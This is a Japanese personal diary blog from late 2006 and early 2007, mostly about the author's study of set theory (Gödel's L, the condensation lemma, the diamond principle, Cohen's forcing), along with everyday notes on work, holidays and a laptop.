うーむ、さすがに二年間ほとんど無休で自宅と会社持ち歩き、さらに一日十二時間以上の使用では無理ありますか。ハードディスクを交換するのが一番良いのでしょうが、ネットで調べるとこれがなかなか難しそうで、私が行うと元に戻すことは不可能そうです。もちろん会社の器用な人にお願いすれば良いのですが、とりあえず dd で検査したところ問題なしです。さらに不思議なことに、 OS 付属のディスクユーティリティーを実行すると固まるのです。以前はちゃんと実行できたのですが。ただし DVD で起動して実行すると問題なし。もしかするとハード的な問題ではなく、何らかロック機構に問題が発生しているのかも知れません。再インストールした方が良いかも。なので、しばらく様子を見て、まあ本当にだめになったら黒マックを検討することにしましょう。
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2007年1月4日(木)

風邪
たいしたことないですが、少々熱あり。数学の勉強はなんとか。ということはいつもと変わらんですか(笑)。それから昨年の12月30日に頂いたコメントに対する返事ですが、しばらくお待ちください。しばらくがかなり長くなるかも知れませんが。すみません。
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2007年1月3日(水)

Constructibilityを注文
教えて頂いた Association for Symbolic Logic から返事が来まして、 FAX や E-mail での注文も受け付けるということです。なのでさっそく注文しました。
Constructibility. K. J. Devlin. (1984, 425 pp.) ISBN 3-540-13258-9
E-mail の場合クレジットカードのセキュリティーについては保証出来ませんよ、との確認がありましたが、本来余り気にしない方なので、メールで注文しました。また、送料は表示されている価格に含まれるそうです。
というわけで今年はLで色々楽しむことができそうです。現在の勉強状況ですが、Kunen本のLに関する部分、ダイアモンドプラス以外は一通り完了です。お正月の後半は Jech 本の該当部分と、あと強制の反復についてぼちぼち勉強する予定です。i-landさん、どうもありがとうございます。
(関連項目) 2006年12月26日ゲーデルの圧縮レンマ途中経過
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2007年1月2日(火)

年賀状
いや、その、今書いてます(汗)。
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2007年1月1日(月)

元旦
新年あけましておめでとうございます。さっそくですが今年の目標とか。
まず仕事ですが、今年は尋常でない量が待ってます。偉大なる経営理論の実数値極大年です(笑)。でも収入は増えません。たぶん。てゆうか下手に増えて仕事も増えるのはたまらんというのが本音です。
次は数学。こちらは昨年同様ということで。Keith J. Devlin著 Constructibility を入手できるかどうかでかなり変化がありそうです。あっ、でも強制の反復はきちんと勉強する予定です。Jech本の真ん中より後の方をぽつらぽつらと楽しんで読めるようになるのが目標です。
日記の方も昨年通りということで。そう言えばもうすぐ五年です。思いのほか続いています。昨年後半は数学の話題のみになってしまったので、今年はもう少し話題の範囲を広げたいところですが、数学のことを考えだすと他のことに全く興味関心がなくなるので、それなり周期が発生するのは仕方ないかな。
というわけで本年もよろしくお願い致します。
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2006年12月31日(日)

おおそうじ
してます。ですが収集がつきません(笑)。うーむ、一年間全く掃除をしないとこれほどの惨劇になるとは。そもそも掃除をするにはそれなり計画性というか、先を見通す才能が必要なのではと思うのですが、全く欠如してます。で、現在最大の問題は、掃除をする場合一度ごみや必要なものを仕分けしたり、乱雑なものを整理したり、その他色々作業領域が必要となるのですが、

余りに散らかっていて作業領域を確保できない(笑)

ということなのです。ゆえに未だ作業領域を確保するにはどうすればいいんかいな、と考えるだけで、本質的な部分は全く進展していません。はい。
さらに掃除ができないことは遺伝するらしく、子供達も普段全く片付けないので同様の状況なのです。てゆうか長女と二女は逃げたし。
予定では昨日終了しているはずだったのですが、ごみの中から昔読んだ本が出てきて、逃避行動を兼ねてそれを読み始めてしまった、というのはお約束過ぎなのです。あっ、モカちゃんが漫画読んでて奥さまに怒られてる(笑)。
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2006年12月30日(土)

集合論の公理について考えたこと
私が集合論と呼ぶ場合、特に注意しない場合 ZFC の体系なのですが、次の二つの公理に関し、色々な意見が見られるようです。
1. 選択公理
2. 正則の公理
数学という学問は、一般に考えられているのとは逆に、その具体性が際立った特徴の一つであると思います(*) もちろん世の中一般から見れば、どこが具体的なんだというつっこみがあるのでしょうが、実際にはその内部での思考の過程が際立って具体的な道筋を通ることが、他の学問との大きさ差異であると考えています。証明って、形式的にも思考的にも本当に具体的ですから。そして、少なくとも現代の状況として、集合論は数学に具体的な基盤を与えるという役割を十分果たしているし、この状況は当分継続すると思われます。さらに集合論そのものの研究自体、数学の内部でも特に具体的な対象を扱っていると感じています。
(選択公理) さすがにきちんと数学を勉強して、それでも選択公理に関して否定的な意見を持つ人は少ないと思うのですが、何かと論議を呼ぶ公理であることは確かなようです。正直なところ、無限公理を認めないという、数学という学問自体を否定する立場ならばともかく、ひとたび無限公理を認めるからには、選択公理は無限を具体化させる本質的な公理だと思うのです。この辺りは抽象代数 (に限らずその他の分野でも) からいくらでも実例をとれるのですが、何と言うか (代数) 構造に対して、具体性のくさびを打ち込む概念であると思います。無限を認めるならば必然的に選択も認めるべきである、というのが私の考えです。
(正則の公理) この公理に関しては、確かに「ないと困る」という実利的な面もあると思うのですが、外延性の公理に対して具体性を与えるという意味で、やはり本質的な公理かと。外延性の公理で内部を調べて行った場合、やはりどこかできちんと裏打ちされないと。そしてその具体性が $\in~$ -induction に結実しているのだと思います。ただ不思議なことに、この公理は確かに今のところ、集合論の内部を研究する場合以外にはほとんど使われないということも事実のようです。それを言うと置換公理もそうですが、一応順序数は普通に考えるということで。うーん、いまいち説得力に欠けますか。でもひとたび $V=\bigcup_\alpha~V_\alpha~$ を見ちゃうと(笑)。それより最近の問題はつぎ。
(構成という反動主義について) 最近気になるのは、論理学に関してそれなりの知識があると思われる人が、おそらく計算機理論 (計算理論ではない) や工学的視点からの、なんというか偏見があるのかと思いますが、構成的でない数学を否定しようとする風潮が散見されることです。あっ、私自身は構成的な数学の研究をどうのこうの言ってるわけではなく、「構成的でない分野を研究しても無意味だ」という一部の意見に対して反論、というかこんなの無視すれば良いと思うのですが、まあ何か書いておこうかと。本当のところ、こういう場合「数学をちゃんと理解して下さい」位しか言いようがないのですが、正直、見苦しい条件や証明で「構成化」された記述より、非構成的でもエレガントな記述や証明の方が美しいし、そもそも私にはそのような非構成的記述の方が具体的に見えるのです。そしてこの辺りの感覚ってとても大切だと自分では思っています。構成のみを認める人って、構成的に考えるべきでない概念を無理矢理構成的に考え、肝心な具体性を失っているような気がします。そして、そのような極端な人の意見を聞くと、まるで時代が 100年戻ってしまったような感覚を覚えます。
(*) 例えばブルバキは抽象的な記述の代表のように言われていますし、彼らも抽象的な枠組みの重要さを強調していることは事実です。ただし、原論の内容を読んでみると、実際には極めて具体的な記述であると感じるのは、今の観点から見てしまっているからでしょうか。
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2006年12月29日(金)

仕事おさめ
本日で今年の仕事はおしまいです。会社は午前中掃除して、その後みんなでお菓子を食べて、お昼頃に解散です。年賀状書きがぜんぜん進んでいないことはお約束すぎるのでナイショです。
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2006年12月27日(水)

お正月予定
もうすぐお正月です。お正月と言えば年賀状。ですがまだ書いていません。わわわっ、あの誓いはどうなってるのだろう(笑)。で、昨年というか今年のお正月はうるう秒ということで出勤を余儀なくされましたが、地球さん正確に回って下さい、というお願いが通じたのか、来年はうるう秒なさそうです。十二月三十日に突然方針変更がなければ。たぶん。
なので十二月三十日から一月八日 (成人の日) まで十連休を予定。代休はたくさんあるのです(笑)。
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2006年12月26日(火)

ゲーデルの圧縮レンマ途中経過
$L~$ のことと絶対性等に関して全く分かっていないことが露呈した最近の圧縮レンマ関連の話題ですが、気を取り直して現行調べた途中経過など。
( $V=L~\rightarrow~\mathrm{GCH}~$ について) これに関しては $Y\subset~X\in{L_\alpha}~$ なる $Y~$ に関し $Y\in~L_\beta~$ となる $\beta~$ を正則基数とすれば、 $L_\beta~|=~\text{ZFC}-\text{P}~$ なので、その場合の圧縮レンマの証明は問題ないと思われます。従って $\text{GCH}~$ に関しては、基本的に今までのストーリーで大丈夫そう。
(一般の場合の圧縮レンマについて) Jech本によると次の条件を満たす推移的な集合 $M~$ をadequate と言うらしい。
(1) $M~$ はゲーデル演算(goedel operation)に関して閉じている。
(2) $U\in{M}~$ のとき $\{G_i(x,y)\,:\,x,y\in{U}\}\in{M}~$ ここで $G_i~$ はゲーデル演算。
(3) $\alpha\in{M}~$ のとき $\{L_\xi\,:\,\xi<\alpha\}~\in~M.~$
そして $\alpha~\rightarrow~L_\alpha~$ は adequate な(推移的)集合に関し絶対的。また極限順序数 $\gamma~$ に関し $L_\gamma~$ は adequate. さらに文 $\sigma\in~\mathrm{\Pi}^0_2~$ が存在し
$(\langle~M,\in~\rangle||-\sigma)~~\leftrightarrow~(M=L_\gamma~~~\text{~for~some~limit~ordinal~}\gamma).~$
うーん $\sigma~$ って何だろう。 $\forall{x}\exists{\alpha}(x\in~L_\alpha)~$ のことなのだろうか。いや、そんなに簡単なら本に書いてあるような気が。
これは前回 ( L_αの絶対性(12月22日) ) 誤り (というか全然証明になってないこと) を指摘して頂き、さらに証明の概略を教えて頂いた内容にかなり近いと思われます。Jech本によると上の定理は detailed analysis of absoluteness of $L_\alpha~$ と書いてあり証明略なので、さすがに私の力では無理と思われますが、いずれにしてもゲーデル演算による $L~$ の構成をきちんと勉強し、少なくとも何が問題なのか認識できればと。テキストを読む場合、問題意識を持って読むことの重要性を改めて痛感。前回読んだときはゲーデル演算完全にスルーしていましたし、adequate に関しても、「良くわからん」で飛ばしましたから。
(*) 現在自信喪失状態で limit ordinal $\gamma~$ に対し $L_\gamma~$ で (3) が成り立つことさえ自明なのかどうか不明状態。直感的には自明感強いですが、もしかすると $\alpha<\gamma~$ のとき $\alpha+\omega~\le~\gamma~$ という事実は必要かも。いずれにしてもしばらくは (他のことも勉強しますが) 山ごもりして、お正月終わり頃には進展報告の予定です。紹介して頂いた参考文献 Constructibility, Keith J. Devlin) は今のところ入手困難な感じです。
(後記) さすがに (3) はほぼ自明に成り立ちそうです。
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2006年12月25日(月)

クリスマス
昨日は野暮用ありて会社だったのですが、おうちに帰ってから鳥とケーキを食べました。モカちゃんが欲張って、写真に写ってる一番大きい鳥を取ったのですが、生焼け状態で一人だけ焼き直して食べるはめになったのは内緒です(^^。

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2006年12月24日(日)

覚え書き
Kunen本での記号等についての覚え書き。
- ZF^-はZFから正則の公理を除いた体系。
- $\mathrm{WF}~$ : 整順な集合からなるクラス。正則の公理の下での $V~$ のこと。
- $R(\alpha)~$ : rank が $\alpha~$ 未満の整順な集合からなる集合。正則の公理の下での $V_\alpha~$ のこと。
- 関係 $R\subset{{V}\times{V}}~$ が集合的等に関しては「推移的崩壊とAFA」参照。
- 関係 $R\subset{A\times{A}~$ がクラス $A~$ で集合的で $x\in{A}~$ のとき
  $\mathrm{pred}(A,x,R)~=~\{y\in{A}~:~R(y,x)\}~$
  $\mathrm{pred}^0(A,x,R)~=~\mathrm{pred}(A,x,R)~~$
  $\mathrm{pred}^{n+1}(A,x,R)~=~\bigcup\{\mathrm{pred}(A,y,R)~~\,:\,~y\in\mathrm{pred}^n(A,x,R)\}~$
  $\mathrm{cl}(A,x,R)~=~\bigcup\{\mathrm{pred}^n(A,x,R)\,:\,~n\in\omega\}~$
  $R~$ として $\in~$ を思い浮かべると分かりやすい。特に $A~$ が推移的なクラスのとき $\mathrm{pred}^{n}(A,x,\in)~=~\bigcup^{n}{x}~$ であり、 $\mathrm{cl}(A,x,\in)~$ は $x~$ の推移的閉包。
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2006年12月23日(土)

再勉強
ゲーデルのLの基本はもちろんのこと、論理式の絶対性に関してもいいかげんな知識というか認識だったので、現在 Kunen本の四章から勉強中です。そもそも二年程前相対化 (relativization) の定義を初めて見たとき、単に束縛の領域を制限するだけなので、特に難しそうに感じなかったのが、何と言うか鈍感というか。
本当はとても難しい概念で、きちんと自分のものにしないと、本を読んでいる分にはともかく、ちょっとしたことでも自分で考えると必ず間違えるのです。
半年くらい前の推移的崩壊から超べきへの流れのときもそうだったのですが、やはり専門家の方のご指摘や面白い話題、それから現在勉強中の方の集合論関連のブログははとてもためになり、その辺りをキーポイントとして勉強を進めると、必ず新しい楽しみが増えることは今までの経験から分かっています。というわけで、集合論雑記の更新はしばらく行わないと思いますが、うーん、どうなんでしょうね。最近内容があっちこっちに飛んでますねえ。まあ自分が好きで書いてるので、その辺はどうでも良いのですが(笑)。
今の知識だとあれです。強制や超べきによる内部モデルの勉強を始めた時から感じてはいたのですが、やはり論理式の解釈がモデルにより変化するというのが面白く、ただし、ちょっとでもいいかげんなことをすると必ず間違えるという。楽しくも厳しい世界であります。
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メタ言語
半月程前のことですが、いつもお世話になっている方のブログのコメントに、まあどうでも良いことを書いたのです。内容は次のような感じ。
なんたらかんたら ← ここまで KAGAMI
で、このコメント欄に書いた内容は即時に反映するのではなく、次回のブログで管理人様がコメント付きで披露して下さる運用なのです。私自身はこの日記でも良く実名を出したりして、名前が出るのは全然問題ないですが、一応意図としては「← ここまで KAGAMI」の部分は署名としてのメタ記述であり、「なんたらかんたら」の部分が掲載されるかなー、と思ってたのです。
ですがそのまま掲載されていました(笑)。
理由を推測すると三つ程考えられます。
1. メタ言語の意図が通じなかった。
2. コメントの内容をそのまま掲載するのが管理人さんのポリシーである。
3. 管理人さんのしゃれである。
おそらく2番がほんとうのところかと思いますが、もしかすると3番かも(笑)。難しいのは、こういう場合、本来の記述とメタ記述を区別する一般的な記法が存在しないわけで、そうはいうものの署名なしでつっこみを書くのは趣旨に反するし、まあ上の場合「← ここまで」というのが掲載時意味不明となるので、次回からは単に「なんたらかんたら (KAGAMI)」と書くようにします(^^。
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2006年12月22日(金)

L_αの絶対性
集合論雑記目次
どうも自分で考えたことはいまいち、というか今日の場合は特に自信なしです。できればつっこみ希望ということで。
(命題)
$\beta,\,\gamma~$ を順序数 $\beta<\gamma~$ とするとき ${L_\beta}^{L^\gamma}~=~L_\beta~$
(証明) での帰納法による。に対しを仮定します。が極限順序数の場合中間の等号は帰納法の仮定、それから合併の絶対性 (これは任意の推移的集合に関して成立) を使用しました。
次に $\beta~=~\alpha~+~1~$ の場合ですが、 ${L_\beta}^{L_\gamma}~$ は $p_1,p_2,\cdots,p_r~\in~L_\alpha~(=~{L_\alpha}^{L_\gamma})~$ に対する $({\varphi^{L_\gamma}})^{L_\alpha}~(x,p_1,p_2,\cdots,p_r)~$ で ${L_\alpha}^{L_\gamma}~$ 定義可能な $L_\gamma~$ の集合からなります。ところで $({\varphi^{L_\gamma}})^{L_\alpha}~(x,p_1,p_2,\cdots,p_r)~$ と ${\varphi^{L_\alpha}}~(x,p_1,p_2,\cdots,p_r)~$ は明らかに同じ論理式なので ( この辺りまで帰納法の仮定による ${L_\alpha}^{L_\gamma}~=~L_\alpha~$ は暗黙に使っています) ${L_\beta}^{L_\gamma}~=~L_\beta.~$
なんか簡単すぎるような。まだ見落としあるのかなあ。というかそもそも根本的に間違えているとか。
(追記) というか上の事実が下の関連項目の $L_\gamma~$ ではなく、 $R~$ で成立しなくては(汗)。上の証明が同様に成立する条件としては...。
1. 順序数が非有界であることが内部で成立する
2. 順序数の上限未満の順序数はすべてその集合の要素
3. $\alpha\in{R}~$ に対し $L_\alpha~\in~R~$
最後の条件は自明ではなさそう。というか循環論法になりそう。いかん、混乱してきた(愚)。あとで。
(あと) 圧縮レンマのところでの $R~$ に対して次の帰納法を考えます。
$\alpha,\beta\in{R}\,\alpha<\beta~$ に対して $L_\alpha~\in~{R}~\wedge~L_\alpha^R~=~L_\alpha~$
すると上の論法でをに置き換えたものが成立しそう。えーっと、上で定義可能な要素全体の集合が再びの要素になる事実も使用します。それがないと、例えばがある順序数未満の集合の場合を排除出来ません。これは初等性と推移的崩壊の性質から導かれます。たぶん。どうなのだろう？
(関連項目) 2006年12月15日ゲーデルの圧縮レンマ
(追記) コメント欄でi-landさんに指摘して頂いたように、上記は一番肝心な部分をスルーしています。全く証明になっておりません。一度基本に戻りもう一度出直します。

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2006年12月19日(火)

17という数
一般に大学以上の数学の書籍や論文には 0, 1, 2, 3 以外の具体的な自然数が現れることはそれほど多くないのです。ある意味「ひとーつ、ふたーつ、みっつ、たくさーん、とってもたくさーん」の世界です(笑)。
ところがその中で 17だけは特異な地位を占めているような感じがします。
1. 最初の自明でない定規とコンパスで作図可能な素数正多角形。
2. ゲーデルが定義した最初の自由変数のゲーデル番号。対角化定理の証明で「17」に対する「代入」が行われる。
3. コーヘン本の強制法で論理式の三変数ランクを定義するが、証明の途中でその三番目の引数が偶然 17となる。
4. 米国の徳用サイズガムに入ってる枚数。
神秘数です(笑)。
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2006年12月18日(月)

明日から出張
明日から二泊三日で出張です。
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なんとなく到達不可能
昨日のダイアモンド原理の証明を眺めていて、なんとなく $L~$ での $\omega_1~$ (最小の非可算基数) が到達不可能であるような感覚に陥ったのはどうしてだろう。やはりそれなり認識しやすいと思われる可算の世界から見るととても大きく見えるのでしょうか？
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2006年12月17日(日)

Lとダイアモンド
集合論雑記目次
えーっと諸般の事情にて $L~$ に Suslin直線が存在する(not SHと称する)ことを調べていて、現在頭の中が爆発中なのですが、副産物として $L~$ で $\Diamond~$ 原理が成立する証明を読んだので、本日はそちらの紹介です。この証明にもゲーデルの圧縮レンマを使います。というかコーヘン強制法の紹介といいつつ、ゲーデルの $L~$ がらみの話ばかりになっているのはご容赦の程を。
( $\Diamond~$ 原理)
$(A_\alpha)_{\alpha<\omega_1}~$ が存在し次の条件を満たす。
(1) $A_\alpha~\subset~\alpha~$
(2) 任意の $A\subset{\omega_1}~$ に対し $\{\alpha<\omega_1\,:\,A\cap\alpha~=~A_\alpha\}~$ は $\omega_1~$ の定常集合
$(A_\alpha)_{\alpha<\omega_1}~$ を $\Diamond~$ 列と呼びます。
(定理)
$V=L~\rightarrow~\Diamond~$ 原理が成り立つ
以降 $V=L~$ を仮定し、さらに $L~$ 上に整列順序が存在することは既知とし、その順序を $<_L~$ と表すことにします。
(補題)
$\langle~M,\in~\rangle~\prec~\langle~L_{\omega_2},\in~\rangle~$ を可算な初等的部分構造とするとき $M\cap\omega_1~$ は可算順序数。
(証明) 例えば $\varphi(x)~$ を「 $x~$ は最小の非可算順序数」という論理式とすると $\exists{x}(\varphi(x))^{L_{\omega_2}}~$ が成り立ち初等性により $\exists{x}(\varphi(x))^M.~$ $\gamma\in{M}~$ を $\varphi(\gamma)^M~$ を満たす対象とすると、再び初等性により $\varphi(\gamma)^{L_{\omega_2}}~$ が成立するので $\gamma=\omega_1.~$ 従って $\omega_1~\in~M~$ が成り立ちます。同様に $\omega\in{M},\,~\omega\subset{M}~$ も成立します。今 $\alpha\in{M},\,\alpha<\omega_{1}~$ とすると $M|=\alpha\text{~is~countable}.~$ が成り立ち、 $f:\,\omega~\rightarrow~\alpha,\,f\in{M}~$ を全射とすると $f~$ は $L_{\omega_2}~$ でも全射。従って $L~$ で全射。さらに $\omega\subset{M}~$ だったので $n\in{\omega}~$ に対し $f(n)\in{M}~$ が成立し $\alpha\subset{M}.~$ つまり $\beta\in\alpha\in{M\cap\omega_1}~$ のとき $\beta\in{M\cap\omega_1}~$ が言えるので $M\cap\omega_1~$ は可算順序数。
(定理の証明) $\alpha<\omega_{1}~$ に対し次の性質を満たす列 $\langle~A_{\alpha},C_{\alpha}~\rangle~$ を定義します。
(1) $A_\alpha\subset\alpha,~~C_\alpha\subset\alpha~$
(2) $C_\alpha~$ は $\alpha~$ で閉非有界で $\forall{\xi~\in~C_\alpha}~~(A_\alpha~\cap~\xi~\neq~A_\xi).~$ ただしこの条件を満たす $A_\alpha,C_\alpha~$ が存在しない場合 $A_\alpha~=~C_\alpha~=~\alpha~$
(3) $\langle~A_\alpha,C_\alpha~\rangle~$ は (1) (2) を満たす $<_L~$ に関する最小の要素。
すると $(A_\alpha)_{\alpha<\omega_1}~$ が $\Diamond~$ 列となります。仮にこの事実が成立しないと仮定すると次の条件を満たす $X\subset\omega_1,C\subset\omega_1~$ が存在します。
(4) $C~$ は $\omega_1~$ で非有界で $\forall{\xi\in{C}}(X~\cap~\xi~\neq~A_\xi)~$
(5) $\langle~X,C~\rangle~$ は (4) を満たす $<_{L}~$ 最小要素。
まず $\{\langle~A_\alpha,C_\alpha~\rangle~\,:\,{\alpha<\omega_1}\}~$ と $\langle~X,C~\rangle~$ が $L_{\omega_2}~$ の要素となることはすぐに分かります。 $M~$ を $L_{\omega_2}~$ の可算初等的部分構造とします。補題と同じ論法 (一意性に $<_L~$ 最小であることを使う) により $\{\langle~A_\alpha,C_\alpha~\rangle~\,:\,{\alpha<\omega_1}\}~$ と $\langle~X,C~\rangle~$ は $M~$ の要素となることも分かります。さらに補題により $M\cap\omega_1~=~\rho~$ は (本当の) 順序数となります。そして $\pi:~M~\rightarrow~L_\gamma~$ を推移的崩壊とすると
$\pi(\omega_1)~=~\rho~$
$\pi(\{\langle~A_\alpha,C_\alpha~\rangle~\,:\,{\alpha<\omega_1}\})~~=\{\langle~A_\alpha,C_\alpha~\rangle~\,:\,{\alpha<\rho}\}~$
$\pi(\langle~X,C~\rangle)~=~\langle~X\cap\rho,C\cap\rho~\rangle~$
が成立します (推移的崩壊の定義をごちゃごちゃすれば良いです)。 $\rho~$ は本当は可算ですが「 $L_\gamma~$ の中」では最小の非可算基数です。あっ、なんというか、 $<_L~$ に関してではありませんが、下降帰納法っぽくなってきました。
今までの作り方から $\langle~X\cap\rho,~C\cap\rho~\rangle~$ は (4) (5) の $\omega_1~$ を $\rho~$ に置き換えたものを $L_\gamma~$ で満たすことになります。
(4') $C\cap\rho~$ は $\rho~$ で非有界で $\forall{\xi\in{C\cap\rho}}((X\cap\rho)~\cap~\xi~\neq~A_\xi)~$
(5') $\langle~X,C~\rangle~$ は (4') を満たす $<_{L}~$ 最小要素。
ところで $\rho~$ の部分集合は「本当の」 ( $L~$ での) 部分集合であることは明らかで、閉非有界性に関しても「本当に成り立つ」ことは容易に分かります。従って(4')(5')は $L~$ で成り立ちます。よって (2) から $X\cap\rho~=~A_\rho.~$ ところが $C\cap\rho~$ は $\rho~$ で非有界で、 $C~$ は閉非有界なので $\rho\in{C}.~$ これは(4)に反します。
本日は補題の部分はKunen本、証明の部分はJech本からのほとんどコピーになってしまいました。で、 $M~$ の推移的崩壊が順序数 $\gamma~$ に対する $L_\gamma~$ という事実はどこで使用したのだろう？分からない...。なんか絶対性に関する本質的な部分を見落としてる感じがします。
(追記) もしかして圧縮レンマが必要なのは最後の方の $<_L~$ 最小の絶対性かも。自信なしですが。
(参考文献) Kenneth Kunen 著 Set Theory Thomas J. Jech 著 Set Theory
(関連項目) 2006年12月15日ゲーデルの圧縮レンマ
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2006年12月16日(土)

グーグルの集合論検索
先日おうちの集合論雑記がグーグルから抹消されたことを書きましたが、これはグーグル八分というより、ポリシーに変更があり、それが大失敗したものと思われるのです。
グーグルでの「集合論」検索
最初の Wikipedia はともかくとして、二番目と三番目は間違いなく「ト」系です。さらに面白いのは、検索ページの下の方に、「数学集合論」なるサブカテゴリーみたいなのが選べるようになり、おお、堂々の第一位は (区) です(笑)。さすがです！地力があります！！というか、このポリシー変更って、集合論を「学問」として扱っているページなり書籍を集め、ブログや日記系を抹消というか無視しようとする意図が感じられます。そして大失敗している。おうちの内容に関し、集合論がらみでは絶対に検索させないという決意さえ感じます。
まあ、ちゃんと分かった段階で書いているつもりですが、どうしても本の内容そのまんまに近い記述が多いことは事実なので、どこかからクレームが入ったのかも知れませんが、「日記やブログ系の集合論 (学問) →トンデモ→排除」という短絡的なポリシーを採用した可能性の方が高いです。他の分野はどうなっているのでしょうか。
しかし、改めて眺めると、いやはや「ト」までは行かないとしても、間違ってるかもしくはほとんど分かってない記述の多いこと多いこと。まあ私自身ほとんど分かっていないのは認めざるをえませんし、分からないことが悪いわけではないのですが、それにしても...。
というわけで、グーグルの検索に関し、おうちはしばらく、もしくは永遠に浮かび上がりそうにありませんが、幸いそれなりリンクを頂いているので、特にアクセス数が減っているということはありません。

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2006年12月15日(金)

久々のお休み
とりあえず仕事は一段落。とりあえずですが。なので明日と明後日は三週間ぶりのお休みです。

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ゲーデルの圧縮レンマ
集合論雑記目次
コーヘン本の $V=L~\rightarrow~\mathrm{GCH}~$ のことを書いていたら、今までいまいち良くわからなかった Kunen本に書いてあるゲーデルの圧縮レンマの証明の真意が分かった気がするので、自分のメモも兼ねて。
(ゲーデルの圧縮レンマ)
$\alpha~$ を極限順序数とし、集合 $M~$ が $\langle~M,\in~\rangle~\prec~\langle~L_\alpha,\in~\rangle~$ を満たすとき $M~$ の推移的崩壊は $L_\gamma~$ ( $\gamma~$ は極限順序数)となる。
(証明) 次の論理式 $\varphi~$ を考えます。
$\forall{x}\exists{\beta}(x\in{L_\beta})~$
$\alpha~$ は極限順序数なので $\langle~L_\alpha,\in~\rangle~|=~\varphi.~$ 初等性により $\langle~M,\in~\rangle~|=~\varphi.~$ $M~$ は推移的崩壊の条件を満たすので、その推移的崩壊を $R~$ とすると、もちろん $\langle~R,\in~\rangle~|=~\varphi.~$ ところが $R~$ の推移性と $\beta~\rightarrow~L_\beta~$ の絶対性により、 $\gamma~$ を $R~$ の順序数の上限とすると $R=L_\gamma.~$
というか今まで良くわからないで半年以上悩んでいたのがあれなんですが、まあ結果的に分かれば良いということで(笑)。この辺り突然直感的につかめるようになったのは、正直「記述不可能性」の勉強をしたのがかなり効いていると思います。
(参考文献) Kenneth Kunen 著 Set Theory
(関連項目) コーヘンオリジナル強制法(二回目)
(追記 2006年12月18日) i-land さんからご指摘があり、上の証明で $\beta~\rightarrow~L_{\beta}~$ の絶対性に関しては自明ではありません。定理の結論自体は合っていると思いますが、さらに詳細な分析が必要そうです。しばらく時間がかかるかも知れませんが、後できちんとした証明に修正したいと考えています。とりあえず $\alpha~$ が正則基数の場合は大丈夫そうです。

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2006年12月14日(木)

つくば出張
今日はつくば出張です。
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2006年12月13日(水)

コーヘンオリジナル強制法(二回目)
集合論雑記目次
今日は枕ということと、これと類似の証明は強制の方でも必要になるので、 $V=L~$ の仮定の下で一般連続体仮説が成立することが、コーヘン本でどのように証明されているかの雰囲気を紹介します。かなり翻訳しているので、間違いがあれば、それはすべて私自身の責任です。まず次の事実は既知とします。
(スコーレムの定理)
$\varphi~$ を論理式 $M~$ を無限集合とする。このとき $M\subset{N},\,|N|=|M|~$ を満たす集合 $N~$ が存在し $\varphi^N~\leftrightarrow~\varphi~$ が成立する。
(絶対性)
関数 $\alpha~\rightarrow~L_{\alpha}~$ は $\Delta_1~$ 関数である。従って任意の推移的な集合に関し絶対的である(←これは私の誤りと思われます)。
( $V=L~$ のとき一般連続体仮説が成立することの証明) $X\in{L_{\alph}},~Y\subset{X}~$ のとき $Y\in{L_{\gamma}}~$ を満たす $\gamma~$ で $|\gamma|=|\alpha|~$ となるものが存在することを示せば十分です。まず $Y\in{L_\beta}~$ を満たす $\beta~$ が存在することは明らかです。今のところ $\beta~$ は $\alpha~$ よりはるかに大きくなる可能性があります。
ここで集合 $S=L_{\alpha}~\cup~\{\beta\}~\cup~\{L_\beta\}~\cup~\{Y\}~$ を考えます。そして「 $L_\beta~$ を周知の方法で構成する超限帰納の手順が存在し、その $\beta~$ 番目の値が丁度 $L_\beta~$ である」こと(この事実を $\beta~$ は $L_\beta~$ を構成するということとする) を主張する論理式と外延性の公理の合接を $\varphi~$ とします。もちろん $\varphi~$ は $V(=L)~$ で真となります。
従って $S\subset{T},\,|T|=|S|~$ を満たす集合 $T~$ が存在し $T|=\varphi~$ が成り立ちます。ところが $T~$ は外延的(になるように作った)なので推移的崩壊 $\pi:\,T~\rightarrow~R~$ を考えることが可能です。このとき $L_\alpha~$ はすでに推移的なので $\pi(L_\alpha)=L_\alpha~$ が成り立ち $Y~\subset~X~\subset~L_\alpha~$ なので $\pi(Y)=Y.~$ $\gamma=\pi(\beta)~$ とおくと関数 $\alpha~\rightarrow~L_{\alpha}~$ の絶対性と $R~$ の作り方から $R~$ で $\gamma~$ 番目に構成された集合は「本当の」 $L_\gamma.~$ 従って $Y\in{L_\gamma}.~$ そして $R~$ の推移性により $|\gamma|\le~|R|~=~|S|~=~|L_\alpha|~=~|\alpha|.~$
本来の圧縮レンマほど一般的ではありませんが、直感的にとても見通しが良い証明だと思います。もちろん $T~$ の中での $\beta~$ による $L_{\beta}~$ の構成は論理的には成立していますが、中身はすかすかです。それを押しつぶして $R~$ を作るとすかすかがびっしり詰まって $\gamma~$ という小さい容器に収まるようになるわけです。
全然関係ない話ですが、グーグルの集合論関連検索で、おうちが全然出なくなりました。もしかしてこれってグーグル八分？特に心当たりありませんが、どうしたのでしょうか。
(参考文献) コーヘン「連続体仮説」
(関連項目) コーヘンオリジナル強制法(一回目)
(追記 2006年12月18日) 上の $\alpha~\rightarrow~L_{\alpha}~$ の絶対性は結果としては正しいかも知れませんが、「推移的集合に対し成立」という部分は誤りと思われます。後で修正致します。
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2006年12月12日(火)

祝・PowerBook購入二周年
実はちょっと時期が過ぎてしまったのですが、いま使っているPowerBookを購入して丁度二周年経過しました。頑張ってます！！まだまだ使えそうです。なんというか、これを購入して、開発の道具としてではなく、普段の実用に耐えるというか、便利な道具としてのコンンピューターの存在を知りました。まだまだ現役で頑張ってもらうつもりです。最低後一年。たぶん。
(関連項目) 始めての PowerBook

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コーヘンオリジナル強制法(一回目)
集合論雑記目次
先日予告した通り、コーヘン (P.Cohen) の「連続体仮説」日本語訳ををたね本として、オリジナルに近い強制法について楽しむ企画の一回目です。今日は書籍の内容のおおざっぱな概要を紹介します。最初に「連続体仮説」の章立て。
- 第1章論理学に置ける一般的考察
- 第2章 Zermelo-Fraenkel の集合論
- 第3章連続体仮説と選択公理の整合性
- 第4章連続体仮説と選択公理の独立性
第1章ではまず形式言語とモデルの定義を行い、完全性定理の証明が行われます。完全性定理の証明はゲーデル流ではなく、Henkin の方法を採用しているようです。次に後で重要な役割を果たすスコーレムの定理が証明されます。その後、理論の実例として Z₁という自然数の体系、 Z₂ という有限集合の体系を考察し、二つの体系の同値性が証明されます。そして原始帰納的関数、一般帰納的関数が定義され、さらにテューリングマシンの定義も行われます。関係ない話で恐縮ですが、テューリングマシンに関して、私は一生理解出来ないと思います。これだけは勘弁して下さい。苦手です。
